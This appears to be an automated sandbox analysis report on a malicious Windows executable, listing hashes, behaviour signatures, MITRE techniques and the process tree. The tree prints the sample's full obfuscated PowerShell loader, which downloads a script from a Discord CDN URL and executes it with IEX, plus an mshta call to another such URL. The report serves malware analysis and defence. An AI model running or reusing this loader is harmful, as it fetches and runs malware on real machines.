e15a30747a6b21794d76525b32ee3c32521bb917839ae3b2519f4e174cfe107f

General

Target

e27318b5d518aedb83accec2767fa87d.exe
Size

326KB
MD5

e27318b5d518aedb83accec2767fa87d
SHA1

b66e7afa9b5c6bf8fa0634f0490b25c5cfd9d20e
SHA256

e15a30747a6b21794d76525b32ee3c32521bb917839ae3b2519f4e174cfe107f
SHA512

90c0bc18234036b9e802bf2aefdff646e866ad4313f8d9b063c7a5c9d4b4031f4824e5d535964295411216b12e6efc169ffc11ebaa7cdcb97d181a66fc57cbaa

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/862345240970264589/867428387840983060/langwige.txt

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

5 1524 mshta.exe
7 1524 mshta.exe
9 1896 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1896 set thread context of 1940 1896 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1896 powershell.exe
1896 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 1896 powershell.exe
Token: SeDebugPrivilege 1940 aspnet_compiler.exe

flow	pid	process
5	1524	mshta.exe
7	1524	mshta.exe
9	1896	powershell.exe

description	pid	process	target process
PID 1896 set thread context of 1940	1896	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1896	powershell.exe
1896	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	1940	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

e27318b5d518aedb83accec2767fa87d.exemshta.exepowershell.exe

description	pid	process	target process
PID 2016 wrote to memory of 1524	2016	e27318b5d518aedb83accec2767fa87d.exe	mshta.exe
PID 2016 wrote to memory of 1524	2016	e27318b5d518aedb83accec2767fa87d.exe	mshta.exe
PID 2016 wrote to memory of 1524	2016	e27318b5d518aedb83accec2767fa87d.exe	mshta.exe
PID 1524 wrote to memory of 1896	1524	mshta.exe	powershell.exe
PID 1524 wrote to memory of 1896	1524	mshta.exe	powershell.exe
PID 1524 wrote to memory of 1896	1524	mshta.exe	powershell.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe
PID 1896 wrote to memory of 1940	1896	powershell.exe	aspnet_compiler.exe

C:\Users\Admin\AppData\Local\Temp\e27318b5d518aedb83accec2767fa87d.exe
"C:\Users\Admin\AppData\Local\Temp\e27318b5d518aedb83accec2767fa87d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/862345240970264589/867428528105848832/uninstall.txt
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/862345240970264589/867428387840983060/langwige.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1896
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1524-61-0x0000000000000000-mapping.dmp

Download
memory/1896-68-0x000000001ABE0000-0x000000001ABE2000-memory.dmp

Filesize
8KB

Download
memory/1896-67-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/1896-63-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

Filesize
8KB

Download
memory/1896-64-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/1896-69-0x000000001ABE4000-0x000000001ABE6000-memory.dmp

Filesize
8KB

Download
memory/1896-66-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1896-62-0x0000000000000000-mapping.dmp

Download
memory/1896-72-0x00000000025B0000-0x00000000025BE000-memory.dmp

Filesize
56KB

Download
memory/1896-65-0x000000001AC60000-0x000000001AC61000-memory.dmp

Filesize
4KB

Download
memory/1896-70-0x000000001B510000-0x000000001B511000-memory.dmp

Filesize
4KB

Download
memory/1896-71-0x000000001AB50000-0x000000001AB51000-memory.dmp

Filesize
4KB

Download
memory/1940-73-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1940-74-0x0000000000411EC6-mapping.dmp

Download
memory/1940-75-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1940-77-0x0000000004820000-0x0000000004821000-memory.dmp

Filesize
4KB

Download
memory/2016-59-0x0000000000D10000-0x0000000000D11000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing